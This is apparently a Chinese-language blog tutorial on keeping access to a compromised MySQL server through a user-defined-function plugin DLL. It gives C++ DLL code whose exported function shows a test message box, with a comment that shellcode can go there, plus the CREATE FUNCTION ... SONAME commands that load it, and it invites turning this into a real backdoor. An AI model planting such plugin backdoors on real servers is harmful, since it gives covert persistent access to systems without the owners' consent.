权限维持-mysql插件
简介
算是个插件后门的思路,mysql演示起来比较方便,不过测试的时候也碰到了好些问题。
测试
首先去mysql的官网下一份mysql的库文件。
然后创建一个dll项目,在属性中添加加包含目录,路径为下载mysql库文件的include目录。
把lib目录下的两个库文件放到dll项目中。
然后来一段测试代码,编译出dll。
#include "stdafx.h"
#include "Windows.h"
#include <mysql.h>
#pragma comment(lib,"libmysql") //引用lib文件
extern "C" {
__declspec(dllexport) void mysql_test() {
MessageBox(NULL, L"test", L"test", 0); //弹框测试下这里可以替换成别的,执行shellcode
}
__declspec(dllexport) my_bool mysql_test_init() {
return 0;
}
}
注意这里编译的时候要注意x86还是x64,最好都编译了,实际加载的时候都试下。
放到对应的mysql/lib/plugin目录下,没有的话自己建一个。
然后在mysql命令行中创建方法(方法名字根据之前的dll文件里的命名来)。
CREATE FUNCTION mysql_test RETURNS INTEGER SONAME "dc.dll";
select mysql_test();
执行就可以看到弹框执行。
可以顺着思路拓展,当成一个真正可以利用的后门。
注意
我这里测试的是win7 x64,是可以成功执行的。在2003中,发现始终无法创建方法,无论是32位的dll还是64位的dll,没有找到原因。